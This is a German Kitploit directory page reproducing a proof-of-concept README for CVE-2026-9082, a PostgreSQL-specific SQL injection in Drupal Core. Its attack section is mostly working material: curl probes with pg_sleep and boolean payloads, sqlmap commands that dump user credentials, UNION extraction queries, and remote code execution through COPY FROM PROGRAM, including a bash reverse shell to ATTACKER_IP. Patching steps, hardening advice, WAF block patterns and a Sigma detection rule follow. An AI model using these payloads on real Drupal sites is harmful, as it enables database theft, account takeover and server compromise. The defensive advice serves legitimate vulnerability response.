Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2026-9082 — cve poc | Kitploit
Tools/GitHubGitHub/lysophavin18/cve-2026-9082
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungDatenbanksicherheit
GitHublysophavin18/cve-2026-9082

cve-2026-9082

cve poc

Repository anzeigen
4vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-9082

Typ: SQL Injection (CWE-89) Betroffenes Produkt: Drupal Core (Database Abstraction API) Drupal-Sicherheitshinweis: SA-CORE-2026-004 Veröffentlicht: 20. Mai 2026 Schweregrad: Hochkritisch (Drupal 20/25 | NVD CVSS 6.5)


Was ist das?

CVE-2026-9082 ist eine SQL-Injection-Schwachstelle in Drupals zentraler Datenbank-Abstraktions-API. Drupals DB-Schicht kapselt PDO und bereinigt alle Abfragen, bevor sie die Datenbank erreichen. Diese Schwachstelle umgeht diese Bereinigung nur für PostgreSQL-Backends – speziell präparierte HTTP-Anfragen schlüpfen an der Normalisierungslogik vorbei und injizieren angreiferkontrollierte SQL-Fragmente direkt in Datenbankabfragen.

MySQL und MariaDB sind vom Injektionsvektor nicht betroffen, obwohl das Sicherheitsupdate auch kritische Symfony/Twig-Korrekturen enthält, die für alle Backends gelten.


Betroffene Versionen

Voraussetzung: Das Zielsystem muss PostgreSQL als Datenbank-Backend verwenden.


Wie es funktioniert (Technisch)

Drupals DB-Abstraktionsschicht bereinigt Werte über parametrisierte Abfragen/Prepared Statements, verlässt sich jedoch darauf, dass der Query Builder vertrauenswürdiges strukturelles SQL liefert (Feldnamen, Operatoren, ORDER-BY-Ziele). Der Fehler liegt darin, wie der PostgreSQL-Treiber bestimmte Eingabemuster beim Erstellen von Abfragen verarbeitet – das SQL-Dialekt von PostgreSQL unterscheidet sich in wichtigen Punkten von MySQL:

  • Stringverkettung mit ||
  • Typkonvertierung mit ::
  • Dollar-Quoting
  • COPY ... FROM PROGRAM-Befehl
  • Unterschiedliche Operator-Behandlung

Eine präparierte Anfrage führt Zeichen/Sequenzen ein, die die Wert-Ebene der Drupal-Bereinigung passieren, vom PostgreSQL-Parser jedoch als strukturelles SQL interpretiert werden. Die Angriffsfläche ist ohne Authentifizierung über jeden Endpunkt erreichbar, der benutzergesteuerte Parameter an DB-Abfragen weitergibt (Suche, Ansichtenfilter, Formularübermittlungen, JSON:API usw.).

Angriffskette

root@kitploit:~
Attacker (unauthenticated)
  |
  |--> HTTP request with crafted parameter
  |    (e.g. search field, filter, form input)
  |
  v
Drupal DB Abstraction API
  |
  |--> Sanitization bypass (PostgreSQL-specific)
  |
  v
PostgreSQL executes injected SQL
  |
  |--> Information disclosure (dump entire DB)
  |--> Privilege escalation (inject admin credentials)
  |--> RCE (PostgreSQL COPY TO PROGRAM, lo_export, etc.)

Warum es gefährlich ist

  1. Keine Authentifizierung erforderlich — jede internetrelevante Drupal-Site mit PostgreSQL ist exponiert
  2. RCE-Potenzial — über COPY TO PROGRAM 'cmd', wenn der DB-Benutzer Superuser-Rechte hat
  3. Voller DB-Zugriff — Benutzerkonten, Passwort-Hashes, Session-Tokens, personenbezogene Daten (PII)
  4. Breite Versionsspanne — gesamter Drupal-8/10/11-Lebenszyklus
  5. Kombiniertes Risiko — derselbe Patch deckt Twig-SSTI ab; ein Angreifer kann SQLi → Admin-Erstellung → SSTI für RCE verketten

Drupals eigene Warnung: „Exploits könnten innerhalb von Stunden oder Tagen nach der Offenlegung entwickelt werden" (konsistent mit historischen Drupal-DB-Schicht-CVEs wie SA-CORE-2014-005 / Drupalgeddon).


Proof-of-Concept (Nur für autorisierte Labortests)

Schritt 1: Kandidaten-Endpunkte identifizieren

root@kitploit:~
# Endpoints that pass user input through DB abstraction layer
curl -s "https://target.drupal.site/search/node?keys=test"
curl -s "https://target.drupal.site/views/ajax"
curl -s "https://target.drupal.site/jsonapi/node/article"

Schritt 2: PostgreSQL-spezifische Injektion erkennen

root@kitploit:~
# Time-based (pg_sleep is PostgreSQL-only)
curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--"

# Cast-based probe (:: is PostgreSQL syntax)
curl -s "https://target.drupal.site/search/node?keys=1::integer"

# Boolean-based differentiation
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1"
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2"

Schritt 3: Automatisierte Extraktion (sqlmap, autorisierte Tests)

root@kitploit:~
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
  --dbms=PostgreSQL \
  --level=5 --risk=3 \
  --technique=BEUST \
  --tamper=space2comment,between \
  --dbs

# Dump credentials after confirming injection
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
  --dbms=PostgreSQL \
  -D drupal -T users_field_data \
  -C name,mail,pass --dump

Schritt 4: Manuelle UNION-basierte Extraktion (konzeptionell)

root@kitploit:~
-- Fingerprint column count
test' ORDER BY 1--
test' ORDER BY 2--  -- increment until error

-- Extract credentials (PostgreSQL syntax)
test' UNION SELECT null,username,password FROM users_field_data--

-- Check if DB user is superuser
test' UNION SELECT null,current_user,null--
test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user--

Schritt 5: RCE über COPY TO PROGRAM (falls DB-Benutzer = Superuser)

root@kitploit:~
CREATE TABLE cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id; uname -a';
SELECT * FROM cmd_out;

-- Reverse shell (replace ATTACKER_IP/PORT)
COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';

Gegenmaßnahmen

Sofort: Drupal patchen

root@kitploit:~
# Composer (recommended)
composer update drupal/core drupal/core-recommended

# Verify version
php core/scripts/drupal --version

# OR via Drush
drush updb && drush cr

Datenbank-Härtung

root@kitploit:~
-- Verify application DB user is NOT superuser
SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user';
-- Should return usesuper = false

WAF (nur temporäre Überbrückung — kein Ersatz für das Patchen)

Zu blockierende Muster: pg_sleep, COPY.*PROGRAM, ::text, ::integer, UNION.*SELECT, %27--

Netzwerk

Stellen Sie sicher, dass PostgreSQL nur an localhost oder eine private Schnittstelle gebunden ist und nicht aus dem Internet erreichbar ist.


Erkennungssignale

Sigma-Regel (Erkennung)

root@kitploit:~
title: Drupal CVE-2026-9082 SQL Injection Attempt
logsource:
  category: webserver
detection:
  selection:
    cs-uri-query|contains:
      - "pg_sleep"
      - "UNION+SELECT"
      - "::text"
      - "::integer"
      - "COPY+TO"
      - "%27--"
  filter:
    cs-uri-stem|contains:
      - "/search/"
      - "/views/ajax"
      - "/jsonapi/"
  condition: selection and filter
level: high
tags: [attack.t1190, cve.2026.9082]

Zusammenfassung

CVE-2026-9082 ist eine authentifizierungsfreie SQL-Injection im Drupal Core, die PostgreSQL-Backends angreift. Trotz eines moderaten NVD-CVSS-Werts von 6,5 stuft Drupal sie mit 20/25 (Hochkritisch) ein, da nicht authentifizierter Zugriff + PostgreSQL COPY TO PROGRAM in falsch konfigurierten Umgebungen direkt zu RCE führen. Die breite betroffene Versionsspanne und die gebündelten Twig-SSTI-Korrekturen machen dies zu einem kritischen, dringenden Patch für alle Drupal-Sites, insbesondere für solche mit PostgreSQL in internetzugänglichen Bereitstellungen.

Empfohlene Maßnahme: Aktualisieren Sie umgehend auf die gepatchte Version für Ihren Zweig. Vergewissern Sie sich, dass Ihr DB-Anwendungsbenutzer kein PostgreSQL-Superuser ist.

Tool herunterladen
ZweigVerwundbarBehoben
Drupal 10.4.x / 8.9.x8.9.0–10.4.910.4.10
Drupal 10.5.x10.5.0–10.5.910.5.10
Drupal 10.6.x10.6.0–10.6.810.6.9
Drupal 11.0.x–11.1.x11.0.0–11.1.911.1.10
Drupal 11.2.x11.2.0–11.2.1111.2.12
Drupal 11.3.x11.3.0–11.3.911.3.10
QuelleSignal
Webserver-Logspg_sleep, ::, UNION SELECT, --, COPY PROGRAM in Abfragezeichenfolgen
PostgreSQL-LogsSyntaxfehler, die mit Zeitstempeln von Webanfragen korrelieren
Drupal-WatchdogDB-Ausnahmen von Such-/Ansichts-/JSON:API-Endpunkten
auditdpostgres erzeugt untergeordnete Prozesse (COPY TO PROGRAM)
Drupal-BenutzertabelleNeue administrator-Rolleneinträge mit aktuellen Zeitstempeln